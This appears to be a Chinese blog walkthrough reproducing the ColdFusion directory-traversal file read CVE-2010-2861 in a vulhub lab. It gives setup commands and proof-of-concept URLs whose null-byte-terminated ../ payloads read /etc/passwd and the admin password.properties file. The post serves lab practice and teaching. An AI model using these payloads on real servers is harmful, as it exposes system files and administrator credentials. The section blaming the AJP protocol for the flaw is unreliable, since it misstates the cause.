zl程序教程

您现在的位置是:首页 >  其他

当前栏目

09 - vulhub - Adobe ColdFusion 文件读取漏洞(CVE-2010-2861)

漏洞文件Adobe 读取 CVE 09 2010 vulhub
2023-09-14 09:14:27 时间

漏洞名称:Adobe ColdFusion 文件读取漏洞 (CVE-2010-2861)

简介:

Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品,其运行的CFML(ColdFusion Markup Language)是针对Web应用的一种程序设计语言。

影响版本

Adobe ColdFusion 8
Adobe ColdFusion 9

漏洞原理

由于AJP协议设计存在缺陷导致内部相关的属性可控,攻击者可以构造属性值,使未授权的用户读取服务器任意文件获得敏感信息,甚至可以进行远程代码执行漏洞的利用。

漏洞复现

环境准备

靶机环境   139.196.87.102  (vulhub)
攻击机环境  192.168.8.137  (虚拟机 Ubuntu 20、Java1.8、Burp)

启动 Adobe ColdFusion 文件读取漏洞 环境

1.进入 vulhub 的 Adobe ColdFusion 路径
cd /usr/local/tools/vulhub/coldfusion/CVE-2010-2861

2.编译并启动环境
docker-compose up -d

3.查看环境运行状态
docker ps | grep vulhub

在这里插入图片描述


访问 your_ip:8500/CFIDE/administrator/enter.cfm 端口,针对靶场环境进行初始化,大概需要1-5分钟。


在这里插入图片描述


在这里插入图片描述



漏洞利用

POC

index.cfm?locale=../../../../../../../../../../etc/passwd%00en

/etc/passwd 文件的内容会直接显示在浏览器页面上,但是也会存在因为url编码无法读取的情况。

这里我们可以利用 burp 抓包,然后直接访问

http://139.196.87.102:8500/CFIDE/administrator/enter.cfm?locale=…/…/…/…/…/…/…/…/…/…/etc/passwd%00en

这里有个需要注意的地方,网上很多复现的文章写的是 ‘enter.cfm?locale=’ ,实际复现过程中我用的是 ‘index.cfm?locale’ 复现成功的。

还有个问题,就是我使用的是破解版的 burp ,因为这个原因,我在复制 POC 改数据包的时候
../../../ 会变成 &/&/& ,导致我复现失败,同时我的 burp 还不能敲空格键!!! [垃圾复现文章害死人,破解版的 burp 同样害人不浅]


在这里插入图片描述


再继续尝试读取管理员密码

/CFIDE/administrator/index.cfm?locale=../../../../../../../lib/password.properties%00en


在这里插入图片描述


在这里插入图片描述


修复建议

根据官方提示升级至最新版